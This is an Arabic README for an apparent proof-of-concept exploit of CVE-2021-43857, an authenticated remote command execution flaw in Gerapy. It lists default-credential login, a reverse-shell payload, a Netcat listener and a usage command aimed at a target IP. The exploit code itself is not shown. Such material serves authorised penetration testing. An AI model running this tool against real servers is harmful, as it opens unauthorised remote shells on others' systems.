Gerapy CVE-2021-43857 (RCE بعد المصادقة)

يحتوي هذا المستودع على استغلال إثبات مفهوم لـ CVE-2021-43857،
وهي ثغرة تنفيذ الأوامر عن بُعد تؤثر على Gerapy < 0.9.8.

هذه نسخة محدّثة من إثبات المفهوم الأصلي على Exploit-DB،
مع إصلاحات للأخطاء وأتمتة لتسهيل إعادة الإنتاج في بيئات الاختبار المصرّح بها.

⚠️ إخلاء مسؤولية:
يُنشر هذا الكود لأغراض تعليمية ولاختبار الاختراق المصرّح به فقط.
لا تستخدمه ضد أنظمة دون إذن صريح.
المؤلف لا يتحمل أي مسؤولية عن إساءة الاستخدام.

الميزات

• أتمتة تسجيل الدخول باستخدام بيانات الاعتماد الافتراضية
• إنشاء مشروع تلقائيًا (عند الحاجة)
• إرسال حمولة الصدفة العكسية
• تشغيل مستمع Netcat تلقائيًا

الاستخدام

python3 exploit.py -t <TARGET_IP> -p <TARGET_PORT> -L <LOCAL_IP> -P <LOCAL_PORT>

المتطلبات

1. Python 3.x
2. requests و pyfiglet (pip install requests pyfiglet)
3. Netcat (nc)